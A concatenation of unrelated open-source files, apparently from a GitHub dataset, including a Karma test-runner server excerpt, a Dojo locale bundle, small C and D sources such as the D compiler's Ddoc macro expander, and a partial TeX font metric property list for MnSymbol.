globalEmitter.emit('run_complete', runningBrowsers, runningBrowsers.getResults());
}
});
globalEmitter.on('run_complete', function(browsers, results) {
if (config.singleRun) {
disconnectBrowsers(results.exitCode);
} else if (executionScheduled) {
tryExecution();
}
});
socketServer.sockets.on('connection', function (socket) {
log.debug('New browser has connected on socket ' + socket.id);
browser.createBrowser(socket, capturedBrowsers, globalEmitter);
});
globalEmitter.on('file_list_modified', function(filesPromise) {
log.debug('Execution (fired by autoWatch)');
webServer.updateFilesPromise(filesPromise);
tryExecution();
});
// listen on port, waiting for runner
var runnerServer = net.createServer(function (socket) {
log.debug('Execution (fired by runner)');
if (!capturedBrowsers.length) {
log.warn('No captured browser, open http://' + config.hostname + ':' + config.port + config.urlRoot);
socket.end('No captured browser, open http://' + config.hostname + ':' + config.port + config.urlRoot + '\n');
return;
}
log.debug('Refreshing all the files / patterns');
webServer.updateFilesPromise(fileList.refresh());
globalEmitter.once('run_start', function() {
var socketWrite = socket.write.bind(socket);
resultReporter.addAdapter(socketWrite);
// clean up, close runner socket
globalEmitter.once('run_complete', function(browsers, results) {
resultReporter.removeAdapter(socketWrite);
socket.end(constant.EXIT_CODE + results.exitCode);
});
});
if (!tryExecution()) {
socket.write('Waiting for previous execution...\n');
}
});
runnerServer.on('error', function(e) {
if (e.code === 'EADDRINUSE') {
log.warn('Port %d in use', config.runnerPort);
config.runnerPort++;
runnerServer.listen(config.runnerPort);
} else {
throw e;
}
});
runnerServer.listen(config.runnerPort);
runnerServer.on('listening', function() {
if (config.runnerPort !== constant.DEFAULT_RUNNER_PORT) {
log.info('To run via this server, use "karma run --runner-port %d"', config.runnerPort);
}
});
var disconnectBrowsers = function(code) {
// Slightly hacky way of removing disconnect listeners
// to suppress "browser disconnect" warnings
// TODO(vojta): change the client to not send the event (if disconnected by purpose)
var sockets = socketServer.sockets.sockets;
Object.getOwnPropertyNames(sockets).forEach(function(key) {
sockets[key].removeAllListeners('disconnect');
});
globalEmitter.emitAsync('exit').then(function() {
done(code || 0);
});
};
if (config.singleRun) {
globalEmitter.on('browser_process_failure', function(browser) {
log.debug('%s failed to capture, aborting the run.', browser);
disconnectBrowsers(1);
});
}
try {
process.on('SIGINT', disconnectBrowsers);
process.on('SIGTERM', disconnectBrowsers);
} catch (e) {
// Windows doesn't support signals yet, so they simply don't get this handling.
// https://github.com/joyent/node/issues/1553
}
// Handle all unhandled exceptions, so we don't just exit but
// disconnect the browsers before exiting.
process.on('uncaughtException', function(error) {
log.error(error);
disconnectBrowsers(1);
});
};
| {
"pile_set_name": "Github"
} |
//>>built
define(
//begin v1.x content
({
insertAnchor: "Sett inn anker",
title: "Ankeregenskaper",
anchor: "Navn:",
text: "Beskrivelse:",
set: "Definer",
cancel: "Avbryt"
})
//end v1.x content
);
| {
"pile_set_name": "Github"
} |
"""
it works
"""
def Main(argv as (string)):
print "it works"
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
| {
"pile_set_name": "Github"
} |
/* Copyright 2012-2014 Neko. */
/* VVADP is Video Adapter: not implemented yet. */
#include "../utils.h"
#include "vbios.h"
#include "vport.h"
#include "vvadp.h"
t_vadp vvadp;
void vvadpInit() {
MEMSET((void *)(&vvadp), Zero8, sizeof(t_vadp));
vbiosAddInt("qdx 10\niret", 0x10);
}
void vvadpReset() {
MEMSET((void *)(&vvadp.data), Zero8, sizeof(t_vadp_data));
}
void vvadpRefresh() {}
void vvadpFinal() {}
| {
"pile_set_name": "Github"
} |
/**
* Author: Jeremy Yu <[email protected]>
*
* Solution for Exercise 4-08, Chapter4.
*/
#include <stdio.h>
int getch(void);
void ungetch(int);
int main(void)
{
ungetch('a');
ungetch('t');
putchar(getch());
return 0;
}
int buf = -1; /* buffer for ungetch */
int getch(void) /* get a (possibly pushed-back) character */
{
int b = buf;
if (b > -1) {
buf = -1;
return b;
}
return getchar();
}
void ungetch(int c) /* push character back on input */
{
buf = c;
} | {
"pile_set_name": "Github"
} |
/* Copyright (c) 2014, Robert Escriva
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of this project nor the names of its contributors may
* be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef macaroons_port_h_
#define macaroons_port_h_
#define MACAROON_HASH_BYTES 32U
#define MACAROON_SECRET_KEY_BYTES 32U
#define MACAROON_SECRET_NONCE_BYTES 24U
/*
* The number of zero bytes required by crypto_secretbox
* before the plaintext.
*/
#define MACAROON_SECRET_TEXT_ZERO_BYTES 32U
/*
* The number of zero bytes placed by crypto_secretbox
* before the ciphertext
*/
#define MACAROON_SECRET_BOX_ZERO_BYTES 16U
void
macaroon_memzero(void* data, size_t data_sz);
int
macaroon_memcmp(const void* data1, const void* data2, size_t data_sz);
int
macaroon_randombytes(void* data, const size_t data_sz);
int
macaroon_hmac(const unsigned char* key, size_t key_sz,
const unsigned char* text, size_t text_sz,
unsigned char* hash);
int
macaroon_secretbox(const unsigned char* enc_key,
const unsigned char* enc_nonce,
const unsigned char* plaintext, size_t plaintext_sz,
unsigned char* ciphertext);
int
macaroon_secretbox_open(const unsigned char* enc_key,
const unsigned char* enc_nonce,
const unsigned char* ciphertext, size_t ciphertext_sz,
unsigned char* plaintext);
void
macaroon_bin2hex(const unsigned char* bin, size_t bin_sz, char* hex);
int
macaroon_hex2bin(const char* hex, size_t hex_sz, unsigned char* bin);
#endif /* macaroons_port_h_ */
| {
"pile_set_name": "Github"
} |
namespace CGAL {
namespace Mesh_2 {
/*!
\ingroup PkgMesh2Ref
*/
enum Face_badness { NOT_BAD, BAD, IMPERATIVELY_BAD};
}
}
| {
"pile_set_name": "Github"
} |
/**
* Compiler implementation of the
* $(LINK2 http://www.dlang.org, D programming language).
*
* Copyright: Copyright (C) 1999-2018 by The D Language Foundation, All Rights Reserved
* Authors: $(LINK2 http://www.digitalmars.com, Walter Bright)
* License: $(LINK2 http://www.boost.org/LICENSE_1_0.txt, Boost License 1.0)
* Source: $(LINK2 https://github.com/dlang/dmd/blob/master/src/dmd/dmacro.d, _dmacro.d)
* Documentation: https://dlang.org/phobos/dmd_dmacro.html
* Coverage: https://codecov.io/gh/dlang/dmd/src/master/src/dmd/dmacro.d
*/
module dmd.dmacro;
import core.stdc.ctype;
import core.stdc.string;
import dmd.doc;
import dmd.errors;
import dmd.globals;
import dmd.root.outbuffer;
import dmd.root.rmem;
struct Macro
{
private:
Macro* next; // next in list
const(char)[] name; // macro name
const(char)[] text; // macro replacement text
int inuse; // macro is in use (don't expand)
this(const(char)[] name, const(char)[] text)
{
this.name = name;
this.text = text;
}
Macro* search(const(char)[] name)
{
Macro* table;
//printf("Macro::search(%.*s)\n", name.length, name.ptr);
for (table = &this; table; table = table.next)
{
if (table.name == name)
{
//printf("\tfound %d\n", table.textlen);
break;
}
}
return table;
}
public:
static Macro* define(Macro** ptable, const(char)[] name, const(char)[] text)
{
//printf("Macro::define('%.*s' = '%.*s')\n", name.length, name.ptr, text.length, text.ptr);
Macro* table;
//assert(ptable);
for (table = *ptable; table; table = table.next)
{
if (table.name == name)
{
table.text = text;
return table;
}
}
table = new Macro(name, text);
table.next = *ptable;
*ptable = table;
return table;
}
/*****************************************************
* Expand macro in place in buf.
* Only look at the text in buf from start to end.
*/
void expand(OutBuffer* buf, size_t start, size_t* pend, const(char)[] arg)
{
version (none)
{
printf("Macro::expand(buf[%d..%d], arg = '%.*s')\n", start, *pend, cast(int)arg.length, arg.ptr);
printf("Buf is: '%.*s'\n", *pend - start, buf.data + start);
}
// limit recursive expansion
__gshared int nest;
__gshared const(int) nestLimit = 1000;
if (nest > nestLimit)
{
error(Loc.initial, "DDoc macro expansion limit exceeded; more than %d expansions.", nestLimit);
return;
}
nest++;
size_t end = *pend;
assert(start <= end);
assert(end <= buf.offset);
/* First pass - replace $0
*/
arg = memdup(arg);
for (size_t u = start; u + 1 < end;)
{
char* p = cast(char*)buf.data; // buf.data is not loop invariant
/* Look for $0, but not $$0, and replace it with arg.
*/
if (p[u] == '$' && (isdigit(p[u + 1]) || p[u + 1] == '+'))
{
if (u > start && p[u - 1] == '$')
{
// Don't expand $$0, but replace it with $0
buf.remove(u - 1, 1);
end--;
u += 1; // now u is one past the closing '1'
continue;
}
char c = p[u + 1];
int n = (c == '+') ? -1 : c - '0';
const(char)[] marg;
if (n == 0)
{
marg = arg;
}
else
extractArgN(arg, marg, n);
if (marg.length == 0)
{
// Just remove macro invocation
//printf("Replacing '$%c' with '%.*s'\n", p[u + 1], cast(int)marg.length, marg.ptr);
buf.remove(u, 2);
end -= 2;
}
else if (c == '+')
{
// Replace '$+' with 'arg'
//printf("Replacing '$%c' with '%.*s'\n", p[u + 1], cast(int)marg.length, marg.ptr);
buf.remove(u, 2);
buf.insert(u, marg);
end += marg.length - 2;
// Scan replaced text for further expansion
size_t mend = u + marg.length;
expand(buf, u, &mend, null);
end += mend - (u + marg.length);
u = mend;
}
else
{
// Replace '$1' with '\xFF{arg\xFF}'
//printf("Replacing '$%c' with '\xFF{%.*s\xFF}'\n", p[u + 1], cast(int)marg.length, marg.ptr);
buf.data[u] = 0xFF;
buf.data[u + 1] = '{';
buf.insert(u + 2, marg);
buf.insert(u + 2 + marg.length, "\xFF}");
end += -2 + 2 + marg.length + 2;
// Scan replaced text for further expansion
size_t mend = u + 2 + marg.length;
expand(buf, u + 2, &mend, null);
end += mend - (u + 2 + marg.length);
u = mend;
}
//printf("u = %d, end = %d\n", u, end);
//printf("#%.*s#\n", end, &buf.data[0]);
continue;
}
u++;
}
/* Second pass - replace other macros
*/
for (size_t u = start; u + 4 < end;)
{
char* p = cast(char*)buf.data; // buf.data is not loop invariant
/* A valid start of macro expansion is $(c, where c is
* an id start character, and not $$(c.
*/
if (p[u] == '$' && p[u + 1] == '(' && isIdStart(p + u + 2))
{
//printf("\tfound macro start '%c'\n", p[u + 2]);
char* name = p + u + 2;
size_t namelen = 0;
const(char)[] marg;
size_t v;
/* Scan forward to find end of macro name and
* beginning of macro argument (marg).
*/
for (v = u + 2; v < end; v += utfStride(p + v))
{
if (!isIdTail(p + v))
{
// We've gone past the end of the macro name.
namelen = v - (u + 2);
break;
}
}
v += extractArgN(p[v .. end], marg, 0);
assert(v <= end);
if (v < end)
{
// v is on the closing ')'
if (u > start && p[u - 1] == '$')
{
// Don't expand $$(NAME), but replace it with $(NAME)
buf.remove(u - 1, 1);
end--;
u = v; // now u is one past the closing ')'
continue;
}
Macro* m = search(name[0 .. namelen]);
if (!m)
{
immutable undef = "DDOC_UNDEFINED_MACRO";
m = search(undef);
if (m)
{
// Macro was not defined, so this is an expansion of
// DDOC_UNDEFINED_MACRO. Prepend macro name to args.
// marg = name[ ] ~ "," ~ marg[ ];
if (marg.length)
{
char* q = cast(char*)mem.xmalloc(namelen + 1 + marg.length);
assert(q);
memcpy(q, name, namelen);
q[namelen] = ',';
memcpy(q + namelen + 1, marg.ptr, marg.length);
marg = q[0 .. marg.length + namelen + 1];
}
else
{
marg = name[0 .. namelen];
}
}
}
if (m)
{
if (m.inuse && marg.length == 0)
{
// Remove macro invocation
buf.remove(u, v + 1 - u);
end -= v + 1 - u;
}
else if (m.inuse && ((arg.length == marg.length && memcmp(arg.ptr, marg.ptr, arg.length) == 0) ||
(arg.length + 4 == marg.length && marg[0] == 0xFF && marg[1] == '{' && memcmp(arg.ptr, marg.ptr + 2, arg.length) == 0 && marg[marg.length - 2] == 0xFF && marg[marg.length - 1] == '}')))
{
/* Recursive expansion:
* marg is same as arg (with blue paint added)
* Just leave in place.
*/
}
else
{
//printf("\tmacro '%.*s'(%.*s) = '%.*s'\n", cast(int)m.namelen, m.name, cast(int)marg.length, marg.ptr, cast(int)m.textlen, m.text);
marg = memdup(marg);
// Insert replacement text
buf.spread(v + 1, 2 + m.text.length + 2);
buf.data[v + 1] = 0xFF;
buf.data[v + 2] = '{';
buf.data[v + 3 .. v + 3 + m.text.length] = cast(ubyte[])m.text[];
buf.data[v + 3 + m.text.length] = 0xFF;
buf.data[v + 3 + m.text.length + 1] = '}';
end += 2 + m.text.length + 2;
// Scan replaced text for further expansion
m.inuse++;
size_t mend = v + 1 + 2 + m.text.length + 2;
expand(buf, v + 1, &mend, marg);
end += mend - (v + 1 + 2 + m.text.length + 2);
m.inuse--;
buf.remove(u, v + 1 - u);
end -= v + 1 - u;
u += mend - (v + 1);
mem.xfree(cast(char*)marg.ptr);
//printf("u = %d, end = %d\n", u, end);
//printf("#%.*s#\n", end - u, &buf.data[u]);
continue;
}
}
else
{
// Replace $(NAME) with nothing
buf.remove(u, v + 1 - u);
end -= (v + 1 - u);
continue;
}
}
}
u++;
}
mem.xfree(cast(char*)arg);
*pend = end;
nest--;
}
}
/************************
* Make mutable copy of slice p.
* Params:
* p = slice
* Returns:
* copy allocated with mem.xmalloc()
*/
private char[] memdup(const(char)[] p)
{
size_t len = p.length;
return (cast(char*)memcpy(mem.xmalloc(len), p.ptr, len))[0 .. len];
}
/**********************************************************
* Given buffer buf[], extract argument marg[].
* Params:
* buf = source string
* marg = set to slice of buf[]
* n = 0: get entire argument
* 1..9: get nth argument
* -1: get 2nd through end
*/
private size_t extractArgN(const(char)[] buf, out const(char)[] marg, int n)
{
/* Scan forward for matching right parenthesis.
* Nest parentheses.
* Skip over "..." and '...' strings inside HTML tags.
* Skip over <!-- ... --> comments.
* Skip over previous macro insertions
* Set marg.
*/
uint parens = 1;
ubyte instring = 0;
uint incomment = 0;
uint intag = 0;
uint inexp = 0;
uint argn = 0;
size_t v = 0;
const p = buf.ptr;
const end = buf.length;
Largstart:
// Skip first space, if any, to find the start of the macro argument
if (n != 1 && v < end && isspace(p[v]))
v++;
size_t vstart = v;
for (; v < end; v++)
{
char c = p[v];
switch (c)
{
case ',':
if (!inexp && !instring && !incomment && parens == 1)
{
argn++;
if (argn == 1 && n == -1)
{
v++;
goto Largstart;
}
if (argn == n)
break;
if (argn + 1 == n)
{
v++;
goto Largstart;
}
}
continue;
case '(':
if (!inexp && !instring && !incomment)
parens++;
continue;
case ')':
if (!inexp && !instring && !incomment && --parens == 0)
{
break;
}
continue;
case '"':
case '\'':
if (!inexp && !incomment && intag)
{
if (c == instring)
instring = 0;
else if (!instring)
instring = c;
}
continue;
case '<':
if (!inexp && !instring && !incomment)
{
if (v + 6 < end && p[v + 1] == '!' && p[v + 2] == '-' && p[v + 3] == '-')
{
incomment = 1;
v += 3;
}
else if (v + 2 < end && isalpha(p[v + 1]))
intag = 1;
}
continue;
case '>':
if (!inexp)
intag = 0;
continue;
case '-':
if (!inexp && !instring && incomment && v + 2 < end && p[v + 1] == '-' && p[v + 2] == '>')
{
incomment = 0;
v += 2;
}
continue;
case 0xFF:
if (v + 1 < end)
{
if (p[v + 1] == '{')
inexp++;
else if (p[v + 1] == '}')
inexp--;
}
continue;
default:
continue;
}
break;
}
if (argn == 0 && n == -1)
marg = p[v .. v];
else
marg = p[vstart .. v];
//printf("extractArg%d('%.*s') = '%.*s'\n", n, cast(int)end, p, cast(int)marg.length, marg.ptr);
return v;
}
| {
"pile_set_name": "Github"
} |
(FAMILY MNSYMBOLA-BOLD)
(FACE O 346)
(CODINGSCHEME UNSPECIFIED)
(DESIGNSIZE R 12.0)
(COMMENT DESIGNSIZE IS IN POINTS)
(COMMENT OTHER SIZES ARE MULTIPLES OF DESIGNSIZE)
(CHECKSUM O 20051032627)
(CHARACTER O 0
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 1
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 2
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 3
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 4
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 5
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 6
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 7
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 10
(CHARWD R 0.946294)
(CHARHT R 0.473624)
(CHARDP R -0.035511)
)
(CHARACTER O 11
(CHARWD R 0.533805)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 12
(CHARWD R 0.946294)
(CHARHT R 0.473624)
(CHARDP R -0.035511)
)
(CHARACTER O 13
(CHARWD R 0.533805)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 14
(CHARWD R 1.026135)
(CHARHT R 0.71979)
(CHARDP R 0.210655)
)
(CHARACTER O 15
(CHARWD R 1.026135)
(CHARHT R 0.71979)
(CHARDP R 0.210655)
)
(CHARACTER O 16
(CHARWD R 1.026135)
(CHARHT R 0.71979)
(CHARDP R 0.210655)
)
(CHARACTER O 17
(CHARWD R 1.026135)
(CHARHT R 0.71979)
(CHARDP R 0.210655)
)
(CHARACTER O 20
(CHARWD R 0.946294)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 21
(CHARWD R 0.448269)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 22
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 23
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 24
(CHARWD R 1.076817)
(CHARHT R 0.473624)
(CHARDP R -0.035511)
)
(CHARACTER O 25
(CHARWD R 0.533805)
(CHARHT R 0.822888)
(CHARDP R 0.313754)
)
(CHARACTER O 26
(CHARWD R 1.126285)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 27
(CHARWD R 1.126285)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 30
(CHARWD R 0.978928)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 31
(CHARWD R 0.448269)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 32
(CHARWD R 0.978928)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 33
(CHARWD R 0.448269)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 34
(CHARWD R 0.990693)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 35
(CHARWD R 0.990693)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 36
(CHARWD R 0.990693)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 37
(CHARWD R 0.990693)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 40
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 41
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 42
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 43
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 44
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 45
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 46
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 47
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 50
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 51
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 52
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 53
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 54
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 55
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 56
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 57
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C 0
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C 1
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C 2
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C 3
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C 4
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C 5
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C 6
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C 7
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C 8
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C 9
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 72
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 73
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 74
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 75
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 76
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 77
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 100
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C A
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C B
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C C
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C D
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C E
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C F
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C G
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C H
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C I
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C J
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C K
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C L
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C M
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C N
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C O
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C P
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C Q
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C R
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C S
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C T
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C U
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C V
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C W
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C X
(CHARWD R 0.815773)
(CHARHT R 0.5110445)
(CHARDP R 0.00191)
)
(CHARACTER C Y
(CHARWD R 0.626465)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C Z
(CHARWD R 0.991509)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 133
(CHARWD R 0.991509)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 134
(CHARWD R 0.815773)
(CHARHT R 0.5110445)
(CHARDP R 0.00191)
)
(CHARACTER O 135
(CHARWD R 0.626465)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 136
(CHARWD R 0.991509)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 137
(CHARWD R 0.991509)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 140
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C a
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C b
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C c
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C d
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C e
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C f
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C g
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER C h
(CHARWD R 0.946294)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C i
(CHARWD R 0.448269)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER C j
(CHARWD R 0.946294)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C k
(CHARWD R 0.448269)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER C l
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER C m
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER C n
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER C o
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER C p
(CHARWD R 0.946294)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C q
(CHARWD R 0.448269)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER C r
(CHARWD R 0.946294)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C s
